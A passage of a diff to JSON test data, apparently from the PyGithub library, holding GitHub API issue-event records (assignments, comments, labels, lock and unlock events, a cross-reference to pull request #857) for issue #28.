"MDEzOlVubG9ja2VkRXZlbnQyMzE2OTAwNjUx", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/2316900651", "actor": { "login": "PyGithub", "id": 11288996, "node_id": "MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2", "avatar_url": "https://avatars0.githubusercontent.com/u/11288996?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PyGithub", "html_url": "https://github.com/PyGithub", "followers_url": "https://api.github.com/users/PyGithub/followers", "following_url": "https://api.github.com/users/PyGithub/following{/other_user}", "gists_url": "https://api.github.com/users/PyGithub/gists{/gist_id}", "starred_url": "https://api.github.com/users/PyGithub/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/PyGithub/subscriptions", "organizations_url": "https://api.github.com/users/PyGithub/orgs", "repos_url": "https://api.github.com/users/PyGithub/repos", "events_url": "https://api.github.com/users/PyGithub/events{/privacy}", "received_events_url": "https://api.github.com/users/PyGithub/received_events", "type": "Organization", "site_admin": false }, "event": "unlocked", "commit_id": null, "commit_url": null, "created_at": "2019-05-03T09:44:22Z" } ] \ No newline at end of file +[ { "id": 15819975, "node_id": "MDE1OlN1YnNjcmliZWRFdmVudDE1ODE5OTc1", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/15819975", "actor": { "login": "jacquev6", "id": 327146, "node_id": "MDQ6VXNlcjMyNzE0Ng==", "avatar_url": "https://avatars1.githubusercontent.com/u/327146?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jacquev6", "html_url": "https://github.com/jacquev6", "followers_url": "https://api.github.com/users/jacquev6/followers", "following_url": "https://api.github.com/users/jacquev6/following{/other_user}", "gists_url": "https://api.github.com/users/jacquev6/gists{/gist_id}", "starred_url": "https://api.github.com/users/jacquev6/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/jacquev6/subscriptions", "organizations_url": "https://api.github.com/users/jacquev6/orgs", "repos_url": "https://api.github.com/users/jacquev6/repos", "events_url": "https://api.github.com/users/jacquev6/events{/privacy}", "received_events_url": "https://api.github.com/users/jacquev6/received_events", "type": "User", "site_admin": false }, "event": "subscribed", "commit_id": null, "commit_url": null, "created_at": "2012-05-19T10:38:23Z" }, { "id": 15820048, "node_id": "MDEzOkFzc2lnbmVkRXZlbnQxNTgyMDA0OA==", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/15820048", "actor": { "login": "ghost", "id": 10137, "node_id": "MDQ6VXNlcjEwMTM3", "avatar_url": "https://avatars3.githubusercontent.com/u/10137?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ghost", "html_url": "https://github.com/ghost", "followers_url": "https://api.github.com/users/ghost/followers", "following_url": "https://api.github.com/users/ghost/following{/other_user}", "gists_url": "https://api.github.com/users/ghost/gists{/gist_id}", "starred_url": "https://api.github.com/users/ghost/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/ghost/subscriptions", "organizations_url": "https://api.github.com/users/ghost/orgs", "repos_url": "https://api.github.com/users/ghost/repos", "events_url": "https://api.github.com/users/ghost/events{/privacy}", "received_events_url": "https://api.github.com/users/ghost/received_events", "type": "User", "site_admin": false }, "event": "assigned", "commit_id": null, "commit_url": null, "created_at": "2012-05-19T10:42:25Z", "assignee": { "login": "jacquev6", "id": 327146, "node_id": "MDQ6VXNlcjMyNzE0Ng==", "avatar_url": "https://avatars1.githubusercontent.com/u/327146?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jacquev6", "html_url": "https://github.com/jacquev6", "followers_url": "https://api.github.com/users/jacquev6/followers", "following_url": "https://api.github.com/users/jacquev6/following{/other_user}", "gists_url": "https://api.github.com/users/jacquev6/gists{/gist_id}", "starred_url": "https://api.github.com/users/jacquev6/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/jacquev6/subscriptions", "organizations_url": "https://api.github.com/users/jacquev6/orgs", "repos_url": "https://api.github.com/users/jacquev6/repos", "events_url": "https://api.github.com/users/jacquev6/events{/privacy}", "received_events_url": "https://api.github.com/users/jacquev6/received_events", "type": "User", "site_admin": false } }, { "id": 16333938, "node_id": "MDEzOkFzc2lnbmVkRXZlbnQxNjMzMzkzOA==", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/16333938", "actor": { "login": "ghost", "id": 10137, "node_id": "MDQ6VXNlcjEwMTM3", "avatar_url": "https://avatars3.githubusercontent.com/u/10137?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ghost", "html_url": "https://github.com/ghost", "followers_url": "https://api.github.com/users/ghost/followers", "following_url": "https://api.github.com/users/ghost/following{/other_user}", "gists_url": "https://api.github.com/users/ghost/gists{/gist_id}", "starred_url": "https://api.github.com/users/ghost/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/ghost/subscriptions", "organizations_url": "https://api.github.com/users/ghost/orgs", "repos_url": "https://api.github.com/users/ghost/repos", "events_url": "https://api.github.com/users/ghost/events{/privacy}", "received_events_url": "https://api.github.com/users/ghost/received_events", "type": "User", "site_admin": false }, "event": "assigned", "commit_id": null, "commit_url": null, "created_at": "2012-05-26T14:58:27Z", "assignee": { "login": "jacquev6", "id": 327146, "node_id": "MDQ6VXNlcjMyNzE0Ng==", "avatar_url": "https://avatars1.githubusercontent.com/u/327146?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jacquev6", "html_url": "https://github.com/jacquev6", "followers_url": "https://api.github.com/users/jacquev6/followers", "following_url": "https://api.github.com/users/jacquev6/following{/other_user}", "gists_url": "https://api.github.com/users/jacquev6/gists{/gist_id}", "starred_url": "https://api.github.com/users/jacquev6/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/jacquev6/subscriptions", "organizations_url": "https://api.github.com/users/jacquev6/orgs", "repos_url": "https://api.github.com/users/jacquev6/repos", "events_url": "https://api.github.com/users/jacquev6/events{/privacy}", "received_events_url": "https://api.github.com/users/jacquev6/received_events", "type": "User", "site_admin": false } }, { "id": 16333959, "node_id": "MDExOkNsb3NlZEV2ZW50MTYzMzM5NTk=", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/16333959", "actor": { "login": "jacquev6", "id": 327146, "node_id": "MDQ6VXNlcjMyNzE0Ng==", "avatar_url": "https://avatars1.githubusercontent.com/u/327146?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jacquev6", "html_url": "https://github.com/jacquev6", "followers_url": "https://api.github.com/users/jacquev6/followers", "following_url": "https://api.github.com/users/jacquev6/following{/other_user}", "gists_url": "https://api.github.com/users/jacquev6/gists{/gist_id}", "starred_url": "https://api.github.com/users/jacquev6/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/jacquev6/subscriptions", "organizations_url": "https://api.github.com/users/jacquev6/orgs", "repos_url": "https://api.github.com/users/jacquev6/repos", "events_url": "https://api.github.com/users/jacquev6/events{/privacy}", "received_events_url": "https://api.github.com/users/jacquev6/received_events", "type": "User", "site_admin": false }, "event": "closed", "commit_id": null, "commit_url": null, "created_at": "2012-05-26T14:59:34Z" }, { "id": 24398051, "node_id": "MDEzOkFzc2lnbmVkRXZlbnQyNDM5ODA1MQ==", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/24398051", "actor": { "login": "ghost", "id": 10137, "node_id": "MDQ6VXNlcjEwMTM3", "avatar_url": "https://avatars3.githubusercontent.com/u/10137?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ghost", "html_url": "https://github.com/ghost", "followers_url": "https://api.github.com/users/ghost/followers", "following_url": "https://api.github.com/users/ghost/following{/other_user}", "gists_url": "https://api.github.com/users/ghost/gists{/gist_id}", "starred_url": "https://api.github.com/users/ghost/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/ghost/subscriptions", "organizations_url": "https://api.github.com/users/ghost/orgs", "repos_url": "https://api.github.com/users/ghost/repos", "events_url": "https://api.github.com/users/ghost/events{/privacy}", "received_events_url": "https://api.github.com/users/ghost/received_events", "type": "User", "site_admin": false }, "event": "assigned", "commit_id": null, "commit_url": null, "created_at": "2012-09-11T18:52:07Z", "assignee": { "login": "jacquev6", "id": 327146, "node_id": "MDQ6VXNlcjMyNzE0Ng==", "avatar_url": "https://avatars1.githubusercontent.com/u/327146?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jacquev6", "html_url": "https://github.com/jacquev6", "followers_url": "https://api.github.com/users/jacquev6/followers", "following_url": "https://api.github.com/users/jacquev6/following{/other_user}", "gists_url": "https://api.github.com/users/jacquev6/gists{/gist_id}", "starred_url": "https://api.github.com/users/jacquev6/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/jacquev6/subscriptions", "organizations_url": "https://api.github.com/users/jacquev6/orgs", "repos_url": "https://api.github.com/users/jacquev6/repos", "events_url": "https://api.github.com/users/jacquev6/events{/privacy}", "received_events_url": "https://api.github.com/users/jacquev6/received_events", "type": "User", "site_admin": false } }, { "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/comments/20227753", "html_url": "https://github.com/PyGithub/PyGithub/issues/28#issuecomment-20227753", "issue_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/28", "id": 20227753, "node_id": "MDEyOklzc3VlQ29tbWVudDIwMjI3NzUz", "user": { "login": "stuglaser", "id": 1527117, "node_id": "MDQ6VXNlcjE1MjcxMTc=", "avatar_url": "https://avatars1.githubusercontent.com/u/1527117?v=4", "gravatar_id": "", "url": "https://api.github.com/users/stuglaser", "html_url": "https://github.com/stuglaser", "followers_url": "https://api.github.com/users/stuglaser/followers", "following_url": "https://api.github.com/users/stuglaser/following{/other_user}", "gists_url": "https://api.github.com/users/stuglaser/gists{/gist_id}", "starred_url": "https://api.github.com/users/stuglaser/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/stuglaser/subscriptions", "organizations_url": "https://api.github.com/users/stuglaser/orgs", "repos_url": "https://api.github.com/users/stuglaser/repos", "events_url": "https://api.github.com/users/stuglaser/events{/privacy}", "received_events_url": "https://api.github.com/users/stuglaser/received_events", "type": "User", "site_admin": false }, "created_at": "2013-06-29T10:31:38Z", "updated_at": "2013-06-29T10:31:38Z", "author_association": "CONTRIBUTOR", "body": "Comment created by PyGithub\n", "event": "commented", "actor": { "login": "stuglaser", "id": 1527117, "node_id": "MDQ6VXNlcjE1MjcxMTc=", "avatar_url": "https://avatars1.githubusercontent.com/u/1527117?v=4", "gravatar_id": "", "url": "https://api.github.com/users/stuglaser", "html_url": "https://github.com/stuglaser", "followers_url": "https://api.github.com/users/stuglaser/followers", "following_url": "https://api.github.com/users/stuglaser/following{/other_user}", "gists_url": "https://api.github.com/users/stuglaser/gists{/gist_id}", "starred_url": "https://api.github.com/users/stuglaser/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/stuglaser/subscriptions", "organizations_url": "https://api.github.com/users/stuglaser/orgs", "repos_url": "https://api.github.com/users/stuglaser/repos", "events_url": "https://api.github.com/users/stuglaser/events{/privacy}", "received_events_url": "https://api.github.com/users/stuglaser/received_events", "type": "User", "site_admin": false } }, { "id": 98136339, "node_id": "MDEyOkxhYmVsZWRFdmVudDk4MTM2MzM5", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/98136339", "actor": { "login": "jacquev6", "id": 327146, "node_id": "MDQ6VXNlcjMyNzE0Ng==", "avatar_url": "https://avatars1.githubusercontent.com/u/327146?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jacquev6", "html_url": "https://github.com/jacquev6", "followers_url": "https://api.github.com/users/jacquev6/followers", "following_url": "https://api.github.com/users/jacquev6/following{/other_user}", "gists_url": "https://api.github.com/users/jacquev6/gists{/gist_id}", "starred_url": "https://api.github.com/users/jacquev6/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/jacquev6/subscriptions", "organizations_url": "https://api.github.com/users/jacquev6/orgs", "repos_url": "https://api.github.com/users/jacquev6/repos", "events_url": "https://api.github.com/users/jacquev6/events{/privacy}", "received_events_url": "https://api.github.com/users/jacquev6/received_events", "type": "User", "site_admin": false }, "event": "labeled", "commit_id": null, "commit_url": null, "created_at": "2014-03-02T18:55:11Z", "label": { "name": "v1", "color": "5319e7" } }, { "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/comments/415570895", "html_url": "https://github.com/PyGithub/PyGithub/issues/28#issuecomment-415570895", "issue_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/28", "id": 415570895, "node_id": "MDEyOklzc3VlQ29tbWVudDQxNTU3MDg5NQ==", "user": { "login": "allevin", "id": 13543471, "node_id": "MDQ6VXNlcjEzNTQzNDcx", "avatar_url": "https://avatars2.githubusercontent.com/u/13543471?v=4", "gravatar_id": "", "url": "https://api.github.com/users/allevin", "html_url": "https://github.com/allevin", "followers_url": "https://api.github.com/users/allevin/followers", "following_url": "https://api.github.com/users/allevin/following{/other_user}", "gists_url": "https://api.github.com/users/allevin/gists{/gist_id}", "starred_url": "https://api.github.com/users/allevin/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/allevin/subscriptions", "organizations_url": "https://api.github.com/users/allevin/orgs", "repos_url": "https://api.github.com/users/allevin/repos", "events_url": "https://api.github.com/users/allevin/events{/privacy}", "received_events_url": "https://api.github.com/users/allevin/received_events", "type": "User", "site_admin": false }, "created_at": "2018-08-23T21:05:39Z", "updated_at": "2018-08-23T21:05:39Z", "author_association": "CONTRIBUTOR", "body": "Comment created by PyGithub", "event": "commented", "actor": { "login": "allevin", "id": 13543471, "node_id": "MDQ6VXNlcjEzNTQzNDcx", "avatar_url": "https://avatars2.githubusercontent.com/u/13543471?v=4", "gravatar_id": "", "url": "https://api.github.com/users/allevin", "html_url": "https://github.com/allevin", "followers_url": "https://api.github.com/users/allevin/followers", "following_url": "https://api.github.com/users/allevin/following{/other_user}", "gists_url": "https://api.github.com/users/allevin/gists{/gist_id}", "starred_url": "https://api.github.com/users/allevin/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/allevin/subscriptions", "organizations_url": "https://api.github.com/users/allevin/orgs", "repos_url": "https://api.github.com/users/allevin/repos", "events_url": "https://api.github.com/users/allevin/events{/privacy}", "received_events_url": "https://api.github.com/users/allevin/received_events", "type": "User", "site_admin": false } }, { "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/comments/415762819", "html_url": "https://github.com/PyGithub/PyGithub/issues/28#issuecomment-415762819", "issue_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/28", "id": 415762819, "node_id": "MDEyOklzc3VlQ29tbWVudDQxNTc2MjgxOQ==", "user": { "login": "allevin", "id": 13543471, "node_id": "MDQ6VXNlcjEzNTQzNDcx", "avatar_url": "https://avatars2.githubusercontent.com/u/13543471?v=4", "gravatar_id": "", "url": "https://api.github.com/users/allevin", "html_url": "https://github.com/allevin", "followers_url": "https://api.github.com/users/allevin/followers", "following_url": "https://api.github.com/users/allevin/following{/other_user}", "gists_url": "https://api.github.com/users/allevin/gists{/gist_id}", "starred_url": "https://api.github.com/users/allevin/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/allevin/subscriptions", "organizations_url": "https://api.github.com/users/allevin/orgs", "repos_url": "https://api.github.com/users/allevin/repos", "events_url": "https://api.github.com/users/allevin/events{/privacy}", "received_events_url": "https://api.github.com/users/allevin/received_events", "type": "User", "site_admin": false }, "created_at": "2018-08-24T13:43:44Z", "updated_at": "2018-08-24T13:43:44Z", "author_association": "CONTRIBUTOR", "body": "Comment created by PyGithub", "event": "commented", "actor": { "login": "allevin", "id": 13543471, "node_id": "MDQ6VXNlcjEzNTQzNDcx", "avatar_url": "https://avatars2.githubusercontent.com/u/13543471?v=4", "gravatar_id": "", "url": "https://api.github.com/users/allevin", "html_url": "https://github.com/allevin", "followers_url": "https://api.github.com/users/allevin/followers", "following_url": "https://api.github.com/users/allevin/following{/other_user}", "gists_url": "https://api.github.com/users/allevin/gists{/gist_id}", "starred_url": "https://api.github.com/users/allevin/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/allevin/subscriptions", "organizations_url": "https://api.github.com/users/allevin/orgs", "repos_url": "https://api.github.com/users/allevin/repos", "events_url": "https://api.github.com/users/allevin/events{/privacy}", "received_events_url": "https://api.github.com/users/allevin/received_events", "type": "User", "site_admin": false } }, { "actor": { "login": "allevin", "id": 13543471, "node_id": "MDQ6VXNlcjEzNTQzNDcx", "avatar_url": "https://avatars2.githubusercontent.com/u/13543471?v=4", "gravatar_id": "", "url": "https://api.github.com/users/allevin", "html_url": "https://github.com/allevin", "followers_url": "https://api.github.com/users/allevin/followers", "following_url": "https://api.github.com/users/allevin/following{/other_user}", "gists_url": "https://api.github.com/users/allevin/gists{/gist_id}", "starred_url": "https://api.github.com/users/allevin/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/allevin/subscriptions", "organizations_url": "https://api.github.com/users/allevin/orgs", "repos_url": "https://api.github.com/users/allevin/repos", "events_url": "https://api.github.com/users/allevin/events{/privacy}", "received_events_url": "https://api.github.com/users/allevin/received_events", "type": "User", "site_admin": false }, "created_at": "2018-08-24T15:42:24Z", "updated_at": "2018-08-24T15:42:24Z", "source": { "type": "issue", "issue": { "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/857", "repository_url": "https://api.github.com/repos/PyGithub/PyGithub", "labels_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/857/labels{/name}", "comments_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/857/comments", "events_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/857/events", "html_url": "https://github.com/PyGithub/PyGithub/pull/857", "id": 348340651, "node_id": "MDExOlB1bGxSZXF1ZXN0MjA2NzEzMTAy", "number": 857, "title": "Adding new attributes to IssueEvent", "user": { "login": "allevin", "id": 13543471, "node_id": "MDQ6VXNlcjEzNTQzNDcx", "avatar_url": "https://avatars2.githubusercontent.com/u/13543471?v=4", "gravatar_id": "", "url": "https://api.github.com/users/allevin", "html_url": "https://github.com/allevin", "followers_url": "https://api.github.com/users/allevin/followers", "following_url": "https://api.github.com/users/allevin/following{/other_user}", "gists_url": "https://api.github.com/users/allevin/gists{/gist_id}", "starred_url": "https://api.github.com/users/allevin/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/allevin/subscriptions", "organizations_url": "https://api.github.com/users/allevin/orgs", "repos_url": "https://api.github.com/users/allevin/repos", "events_url": "https://api.github.com/users/allevin/events{/privacy}", "received_events_url": "https://api.github.com/users/allevin/received_events", "type": "User", "site_admin": false }, "labels": [ { "id": 895322782, "node_id": "MDU6TGFiZWw4OTUzMjI3ODI=", "url": "https://api.github.com/repos/PyGithub/PyGithub/labels/improvement", "name": "improvement", "color": "f46bb7", "default": false, "description": "" } ], "state": "closed", "locked": false, "assignee": null, "assignees": [ ], "milestone": null, "comments": 27, "created_at": "2018-08-07T14:14:44Z", "updated_at": "2018-08-24T16:09:23Z", "closed_at": "2018-08-24T16:01:30Z", "author_association": "CONTRIBUTOR", "repository": { "id": 3544490, "node_id": "MDEwOlJlcG9zaXRvcnkzNTQ0NDkw", "name": "PyGithub", "full_name": "PyGithub/PyGithub", "private": false, "owner": { "login": "PyGithub", "id": 11288996, "node_id": "MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2", "avatar_url": "https://avatars0.githubusercontent.com/u/11288996?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PyGithub", "html_url": "https://github.com/PyGithub", "followers_url": "https://api.github.com/users/PyGithub/followers", "following_url": "https://api.github.com/users/PyGithub/following{/other_user}", "gists_url": "https://api.github.com/users/PyGithub/gists{/gist_id}", "starred_url": "https://api.github.com/users/PyGithub/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/PyGithub/subscriptions", "organizations_url": "https://api.github.com/users/PyGithub/orgs", "repos_url": "https://api.github.com/users/PyGithub/repos", "events_url": "https://api.github.com/users/PyGithub/events{/privacy}", "received_events_url": "https://api.github.com/users/PyGithub/received_events", "type": "Organization", "site_admin": false }, "html_url": "https://github.com/PyGithub/PyGithub", "description": "Typed interactions with the GitHub API v3", "fork": false, "url": "https://api.github.com/repos/PyGithub/PyGithub", "forks_url": "https://api.github.com/repos/PyGithub/PyGithub/forks", "keys_url": "https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}", "collaborators_url": "https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}", "teams_url": "https://api.github.com/repos/PyGithub/PyGithub/teams", "hooks_url": "https://api.github.com/repos/PyGithub/PyGithub/hooks", "issue_events_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}", "events_url": "https://api.github.com/repos/PyGithub/PyGithub/events", "assignees_url": "https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}", "branches_url": "https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}", "tags_url": "https://api.github.com/repos/PyGithub/PyGithub/tags", "blobs_url": "https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}", "git_tags_url": "https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}", "git_refs_url": "https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}", "trees_url": "https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}", "statuses_url": "https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}", "languages_url": "https://api.github.com/repos/PyGithub/PyGithub/languages", "stargazers_url": "https://api.github.com/repos/PyGithub/PyGithub/stargazers", "contributors_url": "https://api.github.com/repos/PyGithub/PyGithub/contributors", "subscribers_url": "https://api.github.com/repos/PyGithub/PyGithub/subscribers", "subscription_url": "https://api.github.com/repos/PyGithub/PyGithub/subscription", "commits_url": "https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}", "git_commits_url": "https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}", "comments_url": "https://api.github.com/repos/PyGithub/PyGithub/comments{/number}", "issue_comment_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}", "contents_url": "https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}", "compare_url": "https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}", "merges_url": "https://api.github.com/repos/PyGithub/PyGithub/merges", "archive_url": "https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}", "downloads_url": "https://api.github.com/repos/PyGithub/PyGithub/downloads", "issues_url": "https://api.github.com/repos/PyGithub/PyGithub/issues{/number}", "pulls_url": "https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}", "milestones_url": "https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}", "notifications_url": "https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}", "labels_url": "https://api.github.com/repos/PyGithub/PyGithub/labels{/name}", "releases_url": "https://api.github.com/repos/PyGithub/PyGithub/releases{/id}", "deployments_url": "https://api.github.com/repos/PyGithub/PyGithub/deployments", "created_at": "2012-02-25T12:53:47Z", "updated_at": "2019-11-25T10:43:32Z", "pushed_at": "2019-11-25T10:57:49Z", "git_url": "git://github.com/PyGithub/PyGithub.git", "ssh_url": "git@github.com:PyGithub/PyGithub.git", "clone_url": "https://github.com/PyGithub/PyGithub.git", "svn_url": "https://github.com/PyGithub/PyGithub", "homepage": "https://pygithub.readthedocs.io/", "size": 12176, "stargazers_count": 3010, "watchers_count": 3010, "language": "Python", "has_issues": true, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "forks_count": 998, "mirror_url": null, "archived": false, "disabled": false, "open_issues_count": 56, "license": { "key": "lgpl-3.0", "name": "GNU Lesser General Public License v3.0", "spdx_id": "LGPL-3.0", "url": "https://api.github.com/licenses/lgpl-3.0", "node_id": "MDc6TGljZW5zZTEy" }, "forks": 998, "open_issues": 56, "watchers": 3010, "default_branch": "master" }, "pull_request": { "url": "https://api.github.com/repos/PyGithub/PyGithub/pulls/857", "html_url": "https://github.com/PyGithub/PyGithub/pull/857", "diff_url": "https://github.com/PyGithub/PyGithub/pull/857.diff", "patch_url": "https://github.com/PyGithub/PyGithub/pull/857.patch" }, "body": "See Issue #855 \r\n\r\nThe class [IssueEvent](https://github.com/PyGithub/PyGithub/blob/master/github/IssueEvent.py) is missing a large number of attributes documented in the [API](https://developer.github.com/v3/issues/events/).\r\n\r\nThis is also commented about in #653 to a degree\r\n\r\n27 of the tests 27 known event types have tests.\r\n\r\n**Currently Tested using Issue #30** \r\n- [x] subscribed\r\n- [x] assigned\r\n- [x] referenced \r\n- [x] closed \r\n- [x] labeled \r\n\r\n**Currently Tested using Issue/PR #538**\r\n- [x] merged\r\n- [x] mentioned\r\n- [x] review_requested\r\n\r\n**Currently Tested using Issue/PR #857**\r\n- [x] reopened\r\n- [x] unassigned\r\n- [x] unlabeled\r\n- [x] renamed\r\n- [x] base_ref_changed\r\n- [x] head_ref_deleted \r\n- [x] head_ref_restored\r\n- [x] milestoned\r\n- [x] demilestoned\r\n- [x] locked\r\n- [x] unlocked\r\n- [x] review_dismissed\r\n- [x] review_request_removed\r\n- [x] marked_as_duplicate\r\n- [x] unmarked_as_duplicate\r\n- [x] added_to_project \r\n- [x] moved_columns_in_project\r\n- [x] removed_from_project\r\n- [x] converted_note_to_issue - Note: this event is tied into Issue #866 \r\n\r\nThis PR is now ready to be merged\r\n\r\n" } }, "event": "cross-referenced" }, { "id": 2316739219, "node_id": "MDExOkxvY2tlZEV2ZW50MjMxNjczOTIxOQ==", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/2316739219", "actor": { "login": "PyGithub", "id": 11288996, "node_id": "MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2", "avatar_url": "https://avatars0.githubusercontent.com/u/11288996?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PyGithub", "html_url": "https://github.com/PyGithub", "followers_url": "https://api.github.com/users/PyGithub/followers", "following_url": "https://api.github.com/users/PyGithub/following{/other_user}", "gists_url": "https://api.github.com/users/PyGithub/gists{/gist_id}", "starred_url": "https://api.github.com/users/PyGithub/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/PyGithub/subscriptions", "organizations_url": "https://api.github.com/users/PyGithub/orgs", "repos_url": "https://api.github.com/users/PyGithub/repos", "events_url": "https://api.github.com/users/PyGithub/events{/privacy}", "received_events_url": "https://api.github.com/users/PyGithub/received_events", "type": "Organization", "site_admin": false }, "event": "locked", "commit_id": null, "commit_url": null, "created_at": "2019-05-03T08:38:14Z" }, { "id": 2316833905, "node_id": "MDEzOlVubG9ja2VkRXZlbnQyMzE2ODMzOTA1", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/2316833905", "actor": { "login": "PyGithub", "id": 11288996, "node_id": "MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2", "avatar_url": "https://avatars0.githubusercontent.com/u/11288996?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PyGithub", "html_url": "https://github.com/PyGithub", "followers_url": "https://api.github.com/users/PyGithub/followers", "following_url": "https://api.github.com/users/PyGithub/following{/other_user}", "gists_url": "https://api.github.com/users/PyGithub/gists{/gist_id}", "starred_url": "https://api.github.com/users/PyGithub/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/PyGithub/subscriptions", "organizations_url": "https://api.github.com/users/PyGithub/orgs", "repos_url": "https://api.github.com/users/PyGithub/repos", "events_url": "https://api.github.com/users/PyGithub/events{/privacy}", "received_events_url": "https://api.github.com/users/PyGithub/received_events", "type": "Organization", "site_admin": false }, "event": "unlocked", "commit_id": null, "commit_url": null, "created_at": "2019-05-03T09:17:14Z" }, { "id": 2316834996, "node_id": "MDExOkxvY2tlZEV2ZW50MjMxNjgzNDk5Ng==", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/2316834996", "actor": { "login": "PyGithub", "id": 11288996, "node_id": "MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2", "avatar_url": "https://avatars0.githubusercontent.com/u/11288996?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PyGithub", "html_url": "https://github.com/PyGithub", "followers_url": "https://api.github.com/users/PyGithub/followers", "following_url": "https://api.github.com/users/PyGithub/following{/other_user}", "gists_url": "https://api.github.com/users/PyGithub/gists{/gist_id}", "starred_url": "https://api.github.com/users/PyGithub/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/PyGithub/subscriptions", "organizations_url": "https://api.github.com/users/PyGithub/orgs", "repos_url": "https://api.github.com/users/PyGithub/repos", "events_url": "https://api.github.com/users/PyGithub/events{/privacy}", "received_events_url": "https://api.github.com/users/PyGithub/received_events", "type": "Organization", "site_admin": false }, "event": "locked", "commit_id": null, "commit_url": null, "created_at": "2019-05-03T09:17:42Z" }, { "id": 2316892991, "node_id": "MDEzOlVubG9ja2VkRXZlbnQyMzE2ODkyOTkx", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/2316892991", "actor": { "login": "PyGithub", "id": 11288996, "node_id": "MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2", "avatar_url": "https://avatars0.githubusercontent.com/u/11288996?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PyGithub", "html_url": "https://github.com/PyGithub", "followers_url": "https://api.github.com/users/PyGithub/followers", "following_url": "https://api.github.com/users/PyGithub/following{/other_user}", "gists_url": "https://api.github.com/users/PyGithub/gists{/gist_id}", "starred_url": "https://api.github.com/users/PyGithub/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/PyGithub/subscriptions", "organizations_url": "https://api.github.com/users/PyGithub/orgs", "repos_url": "https://api.github.com/users/PyGithub/repos", "events_url": "https://api.github.com/users/PyGithub/events{/privacy}", "received_events_url": "https://api.github.com/users/PyGithub/received_events", "type": "Organization", "site_admin": false }, "event": "unlocked", "commit_id": null, "commit_url": null, "created_at": "2019-05-03T09:41:18Z" }, { "id": 2316896792, "node_id": 